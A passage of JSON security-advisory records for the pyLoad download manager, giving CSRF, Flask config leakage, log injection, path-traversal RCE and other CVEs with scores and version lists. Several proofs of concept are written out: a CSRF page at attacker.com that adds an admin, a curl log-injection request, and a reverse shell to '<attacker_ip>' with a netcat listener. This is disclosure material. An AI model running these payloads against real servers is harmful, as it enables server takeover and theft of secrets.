history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nIf we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.\n![image](https://user-images.githubusercontent.com/44903767/294942232-d874e838-f8eb-492f-98df-2d16ba74ff25.png)\n\nThe attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.\n![image](https://user-images.githubusercontent.com/44903767/294942635-c6d9adca-0f3a-4d99-92ac-6d3bf8e9ee01.png)\n\n### Impact\nAny API call can be made via a CSRF attack by an unauthenticated user.\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-01-19T15:27:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm","https://nvd.nist.gov/vuln/detail/CVE-2024-22416","https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e","https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml","https://github.com/advisories/GHSA-pgpj-v85q-h5fm"],"source_kind":"github","identifiers":["GHSA-pgpj-v85q-h5fm","CVE-2024-22416"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2024-01-19T16:06:23.681Z","updated_at":"2026-09-21T20:10:41.374Z","epss_percentage":0.00948,"epss_percentile":0.59503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZ3BqLXY4NXEtaDVmbc4AA4kU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZ3BqLXY4NXEtaDVmbc4AA4kU","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev78","vulnerable_version_range":"\u003c 0.5.0b3.dev78"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a9.dev806","0.5.0b2.dev9","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZ3BqLXY4NXEtaDVmbc4AA4kU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcXBxLTJwNjgtNDZmds4AA4Qg","url":"https://github.com/advisories/GHSA-mqpq-2p68-46fv","title":"pyload Unauthenticated Flask Configuration Leakage vulnerability","description":"### Summary\nAny unauthenticated user can browse to a specific URL to expose the Flask config, including the `SECRET_KEY` variable.\n\n### Details\nAny unauthenticated user can browse to a specific URL to expose the Flask config, including the `SECRET_KEY` variable.\n\n### PoC\nRun `pyload` in the default configuration by running the following command\n```\npyload\n```\n\nNow browse to `http://localhost:8000/render/info.html`. Notice how the Flask configuration gets displayed.\n![PoC](https://user-images.githubusercontent.com/44903767/294522246-4cc19c49-b315-4926-8fd6-ec3c3fdb7c1f.png)\n\nI was quite amused by this finding. I think it's a very interesting coming together of things that is so unlikely to happen. Below I will detail my process a bit more.\n\nI was looking through the code to see how the authorization mechanism is implemented when I spotted this route, which can be accessed by any unauthenticated actor\n- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/blueprints/app_blueprint.py#L33C1-L37C51\n```python\n@bp.route(\"/render/\u003cpath:filename\u003e\", endpoint=\"render\")\ndef render(filename):\n    mimetype = mimetypes.guess_type(filename)[0] or \"text/html\"\n    data = render_template(filename)\n    return flask.Response(data, mimetype=mimetype)\n ```\n\nThis route allows me to load in any of the predefined templates. However, these templates will be lacking any form of context, and as such it doesn't seem too useful. That is until I loaded the `info.html` template and scrolled down, revealing the Flask config. This was purely accidental, and I did not understand why it happened, until I looked at the template\n\n- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/templates/info.html#L64C1-L67C10\n```python\n    \u003ctr\u003e\n        \u003ctd\u003e{{ _(\"Config folder:\") }}\u003c/td\u003e\n        \u003ctd\u003e{{ config }}\u003c/td\u003e\n    \u003c/tr\u003e\n```\n\nIn Flask, every template always gets the Flask config passed to it as the `config` variable. In the normal execution of this template, this value gets overwritten in the function below, but since we're calling it and bypassing this function altogether, it doesn't get overwritten. Would this variable not be named config and named `configuration` or `Config` instead, then this exploit wouldn't work. The likelihood of this occurring is so small, but it seems to have happened here.\n\n- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/blueprints/app_blueprint.py#L450C1-L461C51\n```python\n    context = {\n        \"python\": sys.version,\n        \"os\": \" \".join((os.name, sys.platform) + extra),\n        \"version\": api.get_server_version(),\n        \"folder\": PKGDIR,\n        \"config\": api.get_userdir(),\n        \"download\": conf[\"general\"][\"storage_folder\"][\"value\"],\n        \"freespace\": format.size(api.free_space()),\n        \"webif\": conf[\"webui\"][\"port\"][\"value\"],\n        \"language\": conf[\"general\"][\"language\"][\"value\"],\n    }\n    return render_template(\"info.html\", **context)\n ```\n\n### Impact\nDepending on the how the Flask config data is used, it could have detrimental consequences for the security. It's crucial to keep the `SECRET_KEY` secret and never expose it in your code or configuration files.\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-01-08T15:40:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-mqpq-2p68-46fv","https://nvd.nist.gov/vuln/detail/CVE-2024-21644","https://github.com/pyload/pyload/commit/bb22063a875ffeca357aaf6e2edcd09705688c40","https://github.com/advisories/GHSA-mqpq-2p68-46fv"],"source_kind":"github","identifiers":["GHSA-mqpq-2p68-46fv","CVE-2024-21644"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2024-01-08T16:06:01.886Z","updated_at":"2026-09-03T07:10:11.286Z","epss_percentage":0.42443,"epss_percentile":0.98604,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcXBxLTJwNjgtNDZmds4AA4Qg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcXBxLTJwNjgtNDZmds4AA4Qg","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev77","vulnerable_version_range":"\u003c 0.5.0b3.dev77"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcXBxLTJwNjgtNDZmds4AA4Qg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1naG13LXJ3aDgtNnFtcs4AA4PI","url":"https://github.com/advisories/GHSA-ghmw-rwh8-6qmr","title":"pyload Log Injection vulnerability","description":"### Summary\nA log injection vulnerability was identified in `pyload`. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by `pyload`.\n\n### Details\n`pyload` will generate a log entry when attempting to sign in with faulty credentials. This entry will be in the form of `Login failed for user 'USERNAME'`. However, when supplied with a username containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.\n\n### PoC\nRun `pyload` in the default configuration by running the following command\n```\npyload\n```\n\nWe can now sign in as the pyload user and view the logs at `http://localhost:8000/logs`.\n![Viewing the logs](https://user-images.githubusercontent.com/44903767/294433796-f2c96e39-8000-4649-99bb-9c50e786243d.png)\n\nAny unauthenticated attacker can now make the following request to inject arbitrary logs.\n\n```\ncurl 'http://localhost:8000/login?next=http://localhost:8000/' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw $'do=login\u0026username=wrong\\'%0a[2024-01-05 02:49:19]  HACKER               PinkDraconian  THIS ENTRY HAS BEEN INJECTED\u0026password=wrong\u0026submit=Login'\n```\n\nIf we now were to look at the logs again, we see that the entry has successfully been injected.\n![PoC2](https://user-images.githubusercontent.com/44903767/294434785-2fc6dce4-3e2c-4da0-8e80-a6bba882f756.png)\n\n### Impact\nForged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-01-08T15:29:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-ghmw-rwh8-6qmr","https://github.com/pyload/pyload/commit/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d","https://nvd.nist.gov/vuln/detail/CVE-2024-21645","https://github.com/advisories/GHSA-ghmw-rwh8-6qmr"],"source_kind":"github","identifiers":["GHSA-ghmw-rwh8-6qmr","CVE-2024-21645"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2024-01-08T16:06:01.906Z","updated_at":"2026-09-03T07:10:11.287Z","epss_percentage":0.24698,"epss_percentile":0.97731,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naG13LXJ3aDgtNnFtcs4AA4PI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1naG13LXJ3aDgtNnFtcs4AA4PI","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev77","vulnerable_version_range":"\u003c 0.5.0b3.dev77"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1naG13LXJ3aDgtNnFtcs4AA4PI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNzNtLXBjZnctMjVoMs4AA3S3","url":"https://github.com/advisories/GHSA-h73m-pcfw-25h2","title":"Download to arbitrary folder can lead to RCE","description":"### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n  folder = (\n      folder.replace(\"http://\", \"\")\n      .replace(\"https://\", \"\")\n      .replace(\":\", \"\")\n      .replace(\"/\", \"_\")\n      .replace(\"\\\\\", \"_\")\n  )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n  id = int(flask.request.form[\"pack_id\"])\n  data = {\n      \"name\": flask.request.form[\"pack_name\"],\n      \"_folder\": flask.request.form[\"pack_folder\"],\n      \"password\": flask.request.form[\"pack_pws\"],\n  }\n\n  api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e '#!/bin/bash\\nbash -i \u003e\u0026 /dev/tcp/\u003cattacker_ip\u003e/9999 0\u003e\u00261' \u003e evil.sh\u00261\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n  ```bash\n  nc -vklp 9999\n  ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n    Change permissions of downloads: On\n    Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n    http://\u003cattacker_ip\u003e/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-11-21T22:19:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.6,"cvss_vector":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2","https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f","https://nvd.nist.gov/vuln/detail/CVE-2023-47890","http://pyload.com","https://github.com/advisories/GHSA-h73m-pcfw-25h2"],"source_kind":"github","identifiers":["GHSA-h73m-pcfw-25h2","CVE-2023-47890"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-11-21T23:05:44.731Z","updated_at":"2026-09-15T18:10:46.507Z","epss_percentage":0.01058,"epss_percentile":0.62508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNzNtLXBjZnctMjVoMs4AA3S3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNzNtLXBjZnctMjVoMs4AA3S3","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev75","vulnerable_version_range":"\u003c 0.5.0b3.dev75"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNzNtLXBjZnctMjVoMs4AA3S3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13Y202LXd2OTUtN2p3Ns4AAxNP","url":"https://github.com/advisories/GHSA-wcm6-wv95-7jw6","title":"Cross-site Scripting in pyload-ng","description":"Cross-site Scripting (XSS) - Stored in GitHub repository pyload/pyload prior to 0.5.0b3.dev42.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-01-27T00:30:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-0488","https://github.com/pyload/pyload/commit/46d75a3087f3237d06530d55998938e2e2bda6bd","https://huntr.dev/bounties/4311d8d7-682c-4f2a-b92c-3f9f1a36255a","https://github.com/advisories/GHSA-wcm6-wv95-7jw6"],"source_kind":"github","identifiers":["GHSA-wcm6-wv95-7jw6","CVE-2023-0488"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-01-27T02:02:55.064Z","updated_at":"2026-09-21T20:13:53.274Z","epss_percentage":0.00828,"epss_percentile":0.55554,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Y202LXd2OTUtN2p3Ns4AAxNP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13Y202LXd2OTUtN2p3Ns4AAxNP","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev42","vulnerable_version_range":"\u003c 0.5.0b3.dev42"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Y202LXd2OTUtN2p3Ns4AAxNP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04djUzLTIzbXgtaGNmOc4AAxNf","url":"https://github.com/advisories/GHSA-8v53-23mx-hcf9","title":"Improper Certificate Validation in pyload-ng","description":"Improper Certificate Validation in GitHub repository pyload/pyload prior to 0.5.0b3.dev44.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-01-27T00:30:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-0509","https://github.com/pyload/pyload/commit/a9098bdf7406e6faf9df3da6ff2d584e90c13bbb","https://huntr.dev/bounties/a370e0c2-a41c-4871-ad91-bc6f31a8e839","https://github.com/advisories/GHSA-8v53-23mx-hcf9"],"source_kind":"github","identifiers":["GHSA-8v53-23mx-hcf9","CVE-2023-0509"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-01-27T02:02:55.073Z","updated_at":"2026-09-21T20:13:53.274Z","epss_percentage":0.0053,"epss_percentile":0.43511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04djUzLTIzbXgtaGNmOc4AAxNf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04djUzLTIzbXgtaGNmOc4AAxNf","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev44","vulnerable_version_range":"\u003c 0.5.0b3.dev44"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04djUzLTIzbXgtaGNmOc4AAxNf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02am14LXB2Nzctd201d84AAxHU","url":"https://github.com/advisories/GHSA-6jmx-pv77-wm5w","title":"Excessive Attack Surface in pyload-ng","description":"Excessive Attack Surface in GitHub repository pyload/pyload prior to 0.5.0b3.dev41.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-01-23T00:30:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-0435","https://github.com/pyload/pyload/commit/431ea6f0371d748df66b344a05ca1a8e0310cff3","https://huntr.dev/bounties/a3e32ad5-caee-4f43-b10a-4a876d4e3f1d","https://github.com/advisories/GHSA-6jmx-pv77-wm5w"],"source_kind":"github","identifiers":["GHSA-6jmx-pv77-wm5w","CVE-2023-0435"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-01-23T21:03:17.210Z","updated_at":"2026-09-21T20:13:55.162Z","epss_percentage":0.00726,"epss_percentile":0.52602,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02am14LXB2Nzctd201d84AAxHU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02am14LXB2Nzctd201d84AAxHU","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev41","vulnerable_version_range":"\u003c 0.5.0b3.dev41"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQ